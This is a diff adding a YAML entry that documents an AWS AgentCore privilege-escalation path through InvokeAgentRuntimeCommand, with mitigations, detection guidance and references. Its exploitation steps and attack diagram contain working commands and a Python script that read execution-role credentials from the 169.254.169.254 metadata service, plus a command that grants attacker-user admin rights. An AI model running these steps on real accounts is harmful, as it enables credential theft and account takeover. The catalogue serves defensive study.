|
| 1 | +id: bedrock-004 |
| 2 | +name: bedrock-agentcore:InvokeAgentRuntimeCommand |
| 3 | +category: existing-passrole |
| 4 | +services: |
| 5 | +- bedrock-agentcore |
| 6 | +description: A principal with `bedrock-agentcore:InvokeAgentRuntimeCommand` can run a shell command as root inside the Firecracker microVM of an existing AgentCore Runtime or Harness, parallel to the customer agent process and bypassing the agent, model and guardrails entirely. The command reads the execution role temporary credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS, granting the attacker the full permissions of the role already attached to that resource. This path does not require `iam:PassRole` because the role is already attached to the existing resource. Harness is AgentCore Runtime with a managed agent layer on top, so the same single permission applies to both resource types. Only resources using IAM as their Inbound Auth type are affected; resources configured to use JSON Web Tokens (JWT) reject the call. |
| 7 | +prerequisites: |
| 8 | + admin: |
| 9 | + - An AgentCore Runtime or Harness must exist with an IAM execution role attached |
| 10 | + - The resource must use IAM as its Inbound Auth type (resources configured to use JWT reject InvokeAgentRuntimeCommand) |
| 11 | + - The execution role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy) |
| 12 | + lateral: |
| 13 | + - An AgentCore Runtime or Harness must exist with an IAM execution role attached |
| 14 | + - The resource must use IAM as its Inbound Auth type |
| 15 | +exploitationSteps: |
| 16 | + awscli: |
| 17 | + - step: 1 |
| 18 | + command: 'aws bedrock-agentcore-control list-agent-runtimes |
| 19 | +
|
| 20 | + aws bedrock-agentcore-control list-harnesses |
| 21 | +
|
| 22 | + ' |
| 23 | + description: List existing runtimes and harnesses to find targets with privileged execution roles |
| 24 | + - step: 2 |
| 25 | + command: aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID |
| 26 | + description: Check the resource's execution role ARN to confirm elevated permissions, and note the runtime or harness ARN to target |
| 27 | + - step: 3 |
| 28 | + command: | |
| 29 | + cat << 'EOF' > "get_creds_from_runtime.py" |
| 30 | + import boto3, sys, uuid |
| 31 | + client = boto3.client("bedrock-agentcore", region_name=sys.argv[2]) |
| 32 | +
|
| 33 | + command = """bash -c ' |
| 34 | + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") |
| 35 | + ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) |
| 36 | + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME |
| 37 | + '""" |
| 38 | +
|
| 39 | + # sys.argv[1] is the existing runtime ARN or harness ARN |
| 40 | + response = client.invoke_agent_runtime_command( |
| 41 | + agentRuntimeArn=sys.argv[1], |
| 42 | + runtimeSessionId=str(uuid.uuid4()), |
| 43 | + body={"command": command, "timeout": 30}, |
| 44 | + ) |
| 45 | + for event in response["stream"]: |
| 46 | + chunk = event["chunk"] |
| 47 | + if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]: |
| 48 | + print(chunk["contentDelta"]["stdout"], end="") |
| 49 | + EOF |
| 50 | + description: Create the python file that submits a root shell command reading the execution role credentials from MMDS on the existing resource. The attacker rarely knows the execution role's alias in advance, so the command first queries the security-credentials path with no name to discover it, then fetches the credential document at the role-specific path, mirroring the EC2 IMDS credential-discovery pattern |
| 51 | + - step: 4 |
| 52 | + command: 'CREDS=$(python3 get_creds_from_runtime.py $TARGET_ARN $AWS_REGION) |
| 53 | +
|
| 54 | + echo export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r ".AccessKeyId") |
| 55 | +
|
| 56 | + echo export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r ".SecretAccessKey") |
| 57 | +
|
| 58 | + echo export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r ".Token") |
| 59 | +
|
| 60 | + ' |
| 61 | + description: Run the python file against the existing runtime or harness ARN to extract the execution role credentials |
| 62 | + - step: 5 |
| 63 | + command: 'export AWS_ACCESS_KEY_ID=<AccessKeyId from step 4> |
| 64 | +
|
| 65 | + export AWS_SECRET_ACCESS_KEY=<SecretAccessKey from step 4> |
| 66 | +
|
| 67 | + export AWS_SESSION_TOKEN=<Token from step 4> |
| 68 | +
|
| 69 | + aws sts get-caller-identity |
| 70 | +
|
| 71 | + ' |
| 72 | + description: Use the stolen credentials to act as the resource execution role |
| 73 | +recommendation: | |
| 74 | + Restrict `bedrock-agentcore:InvokeAgentRuntimeCommand` using resource-level constraints, and treat it as a command-execution gate equivalent to root on the runtime microVM. |
| 75 | +
|
| 76 | + ```json |
| 77 | + { |
| 78 | + "Effect": "Allow", |
| 79 | + "Action": "bedrock-agentcore:InvokeAgentRuntimeCommand", |
| 80 | + "Resource": "arn:aws:bedrock-agentcore:REGION:ACCOUNT_ID:runtime/SpecificRuntime" |
| 81 | + } |
| 82 | + ``` |
| 83 | +
|
| 84 | + In AWS Organizations, deny the permission org-wide except for an approved allowlist with an SCP: |
| 85 | +
|
| 86 | + ```json |
| 87 | + { |
| 88 | + "Effect": "Deny", |
| 89 | + "Action": "bedrock-agentcore:InvokeAgentRuntimeCommand", |
| 90 | + "Resource": "*", |
| 91 | + "Condition": { |
| 92 | + "ArnNotLike": { |
| 93 | + "aws:PrincipalArn": "arn:aws:iam::*:role/ApprovedAgentCoreOperators" |
| 94 | + } |
| 95 | + } |
| 96 | + } |
| 97 | + ``` |
| 98 | +
|
| 99 | + Additional controls: |
| 100 | + - Any policy granting the `bedrock-agentcore:*` wildcard includes this permission, including the AWS managed BedrockAgentCoreFullAccess policy; audit principals that hold it |
| 101 | + - Enable CloudTrail data events for the `AWS::BedrockAgentCore::Runtime` and `RuntimeEndpoint` resource types (Harness manages a Runtime under the hood, so both are covered by these types) |
| 102 | + - The auto-created `/aws/bedrock-agentcore/runtimes/<runtimeId>-DEFAULT` CloudWatch log group records the body of every submitted command; alert on entries that touch 169.254.169.254 or security-credentials |
| 103 | + - Scope every AgentCore execution role to least privilege so a stolen role steals nothing it could not already do |
| 104 | + - Regularly audit execution roles attached to existing runtimes and harnesses, including the Console-provisioned default service roles |
| 105 | +limitations: 'This path provides administrative access only if the target resource execution role has administrative permissions. The attacker gains whatever permissions the resource role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data. |
| 106 | +
|
| 107 | + ' |
| 108 | +discoveryAttribution: |
| 109 | + firstDocumented: |
| 110 | + author: Sergio Garcia |
| 111 | + organization: BeyondTrust Phantom Labs |
| 112 | + date: 2026 |
| 113 | + link: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation |
| 114 | + derivativeOf: |
| 115 | + pathId: bedrock-003 |
| 116 | + modification: Targets an existing Runtime or Harness instead of creating one, eliminating the need for iam:PassRole and the bedrock-agentcore Create permissions; the single InvokeAgentRuntimeCommand permission covers both resource types because Harness manages a Runtime under the hood |
| 117 | +references: |
| 118 | +- title: 'Mapping Every Privilege Escalation Path in AWS AgentCore' |
| 119 | + url: https://www.beyondtrust.com/blog/entry/aws-agentcore-privilege-escalation |
| 120 | +- title: Understanding Credentials Management in Amazon Bedrock AgentCore |
| 121 | + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html |
| 122 | +- title: AgentCore Harness Environment and Skills |
| 123 | + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-environment.html |
| 124 | +- title: AgentCore Runtime command execution security best practices |
| 125 | + url: https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/runtime-security-best-practices.html |
| 126 | +relatedPaths: |
| 127 | +- bedrock-002 |
| 128 | +- bedrock-003 |
| 129 | +- bedrock-005 |
| 130 | +- ec2-002 |
| 131 | +- lambda-003 |
| 132 | +learningEnvironments: |
| 133 | + pathfinding-labs: |
| 134 | + type: open-source |
| 135 | + githubLink: https://github.com/DataDog/pathfinding-labs |
| 136 | + scenario: privesc-one-hop/to-admin/bedrockagentcore-invokeagentcommand |
| 137 | + description: Deploy Terraform into your own AWS account to practice this attack path |
| 138 | +permissions: |
| 139 | + required: |
| 140 | + - permission: bedrock-agentcore:InvokeAgentRuntimeCommand |
| 141 | + resourceConstraints: Target runtime or harness must be in the Resource section and must use IAM as its Inbound Auth type |
| 142 | + additional: |
| 143 | + - permission: bedrock-agentcore:ListAgentRuntimes |
| 144 | + resourceConstraints: List the runtimes that already exist |
| 145 | + - permission: bedrock-agentcore:GetAgentRuntime |
| 146 | + resourceConstraints: Identify the execution role and Inbound Auth type of a target resource |
| 147 | +detectionTools: |
| 148 | + prowler: https://github.com/prowler-cloud/prowler/blob/1e1c1c018b6466b416e8cc98a452b11d4b83ae07/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L314 |
| 149 | +attackVisualization: |
| 150 | + nodes: |
| 151 | + - id: start |
| 152 | + label: Starting Principal |
| 153 | + type: principal |
| 154 | + description: The principal with bedrock-agentcore:InvokeAgentRuntimeCommand. Can be an IAM user or role. This attack targets an existing runtime or harness rather than creating one, so iam:PassRole is not required. |
| 155 | + - id: agent_resource |
| 156 | + label: Existing Runtime or Harness |
| 157 | + type: resource |
| 158 | + description: An existing AgentCore Runtime or Harness with a privileged execution role already attached, using IAM as its Inbound Auth type. The resource runs on a Firecracker microVM with access to the MicroVM Metadata Service (MMDS) at 169.254.169.254, AgentCore's equivalent of EC2's IMDS. |
| 159 | + - id: execution_role |
| 160 | + label: Resource Execution Role |
| 161 | + type: principal |
| 162 | + description: The IAM role attached to the runtime or harness as its execution role. A command submitted through InvokeAgentRuntimeCommand runs as root in the microVM with this role's credentials available on MMDS at the execution_role endpoint. This role must trust bedrock-agentcore.amazonaws.com in its trust policy. |
| 163 | + - id: method_sdk_attack |
| 164 | + label: 'Method 1: Act directly from the root shell' |
| 165 | + type: payload |
| 166 | + color: '#99ccff' |
| 167 | + description: | |
| 168 | + The submitted command runs as root inside the microVM where the execution role credentials are already present, so the attacker can perform privileged actions in place without exfiltrating anything. |
| 169 | +
|
| 170 | + Example command body invoked through InvokeAgentRuntimeCommand: |
| 171 | + ```bash |
| 172 | + aws iam attach-user-policy \ |
| 173 | + --user-name attacker-user \ |
| 174 | + --policy-arn arn:aws:iam::aws:policy/AdministratorAccess |
| 175 | + ``` |
| 176 | + - id: method_cred_exfil |
| 177 | + label: 'Method 2: Exfiltrate credentials to the response stream' |
| 178 | + type: payload |
| 179 | + color: '#99ccff' |
| 180 | + description: | |
| 181 | + The submitted command reads the execution role credentials from MMDS and prints them, and AgentCore returns the output in the response stream so the attacker can use the credentials from any location. Since the attacker typically does not know the execution role's alias in advance, the command first queries the security-credentials path with no name to discover it, then fetches the full credential document at the role-specific path, the same two-step pattern used to exfiltrate credentials from EC2's IMDS. |
| 182 | +
|
| 183 | + Example command body invoked through InvokeAgentRuntimeCommand: |
| 184 | + ```bash |
| 185 | + TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60") |
| 186 | + ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) |
| 187 | + curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME |
| 188 | + ``` |
| 189 | +
|
| 190 | + This returns AccessKeyId, SecretAccessKey and Token, which the attacker can export and use until they expire. |
| 191 | + - id: admin |
| 192 | + label: Effective Administrator |
| 193 | + type: outcome |
| 194 | + description: The resource execution role has AdministratorAccess or equivalent permissions, so acting as the role or using its exfiltrated credentials gives the attacker full administrative access to the AWS account. |
| 195 | + - id: some_perms |
| 196 | + label: Some additional access |
| 197 | + type: outcome |
| 198 | + color: '#ffeb99' |
| 199 | + description: The execution role has some elevated permissions but not full admin. This could provide data access (S3, RDS, DynamoDB) or enable additional privilege escalation paths. The attacker should enumerate the role permissions to determine what was gained. |
| 200 | + - id: no_access |
| 201 | + label: No additional access |
| 202 | + type: outcome |
| 203 | + color: '#cccccc' |
| 204 | + description: The execution role only has minimal permissions (e.g., logs:PutLogEvents). Limited usefulness for privilege escalation, and the attacker would target a different resource. |
| 205 | + edges: |
| 206 | + - from: start |
| 207 | + to: agent_resource |
| 208 | + label: Target existing runtime or harness |
| 209 | + description: | |
| 210 | + Identify an existing runtime or harness that has a privileged execution role attached and uses IAM Inbound Auth. Use the list and get control-plane calls to discover candidates and confirm their execution role. |
| 211 | +
|
| 212 | + Commands: |
| 213 | + ```bash |
| 214 | + aws bedrock-agentcore-control list-agent-runtimes |
| 215 | + aws bedrock-agentcore-control list-harnesses |
| 216 | + aws bedrock-agentcore-control get-agent-runtime --agent-runtime-id RUNTIME_ID |
| 217 | + ``` |
| 218 | + - from: agent_resource |
| 219 | + to: execution_role |
| 220 | + label: bedrock-agentcore:InvokeAgentRuntimeCommand |
| 221 | + description: The attacker submits a shell command that runs as root inside the microVM, parallel to the agent process and bypassing the agent, model and guardrails. The command has access to the execution role credentials through MMDS. |
| 222 | + - from: execution_role |
| 223 | + to: method_sdk_attack |
| 224 | + label: Option A |
| 225 | + branch: A |
| 226 | + description: The attacker submits a command that uses the role credentials in place from the root shell to perform privileged actions directly. |
| 227 | + - from: execution_role |
| 228 | + to: method_cred_exfil |
| 229 | + label: Option B |
| 230 | + branch: B |
| 231 | + description: The attacker submits a command that reads the role credentials from MMDS and returns them in the response stream for use from any location. |
| 232 | + - from: method_sdk_attack |
| 233 | + to: admin |
| 234 | + label: If the execution role has admin permissions |
| 235 | + branch: A1 |
| 236 | + condition: admin |
| 237 | + description: If the execution role has AdministratorAccess or equivalent, the in-place command grants the starting principal full administrative access, for example by attaching admin policies or creating admin access keys. |
| 238 | + - from: method_sdk_attack |
| 239 | + to: some_perms |
| 240 | + label: If the execution role has some elevated permissions |
| 241 | + branch: A2 |
| 242 | + condition: some_permissions |
| 243 | + description: If the execution role has some elevated permissions, the in-place command can still grant useful additional access within the role permission scope or reach sensitive resources. |
| 244 | + - from: method_sdk_attack |
| 245 | + to: no_access |
| 246 | + label: If the execution role has minimal permissions |
| 247 | + branch: A3 |
| 248 | + condition: no_permissions |
| 249 | + description: If the execution role only has minimal permissions, the in-place command cannot perform meaningful privilege escalation and the attacker would target a different resource. |
| 250 | + - from: method_cred_exfil |
| 251 | + to: admin |
| 252 | + label: If the execution role has admin permissions |
| 253 | + branch: B1 |
| 254 | + condition: admin |
| 255 | + description: If the execution role has AdministratorAccess or equivalent, the exfiltrated credentials give the attacker full administrative access to the AWS account from any location. |
| 256 | + - from: method_cred_exfil |
| 257 | + to: some_perms |
| 258 | + label: If the execution role has some elevated permissions |
| 259 | + branch: B2 |
| 260 | + condition: some_permissions |
| 261 | + description: If the execution role has some elevated permissions, the exfiltrated credentials can be used for lateral movement or additional attacks. |
| 262 | + - from: method_cred_exfil |
| 263 | + to: no_access |
| 264 | + label: If the execution role has minimal permissions |
| 265 | + branch: B3 |
| 266 | + condition: no_permissions |
| 267 | + description: If the execution role only has minimal permissions, the exfiltrated credentials provide limited value for privilege escalation. |
0 commit comments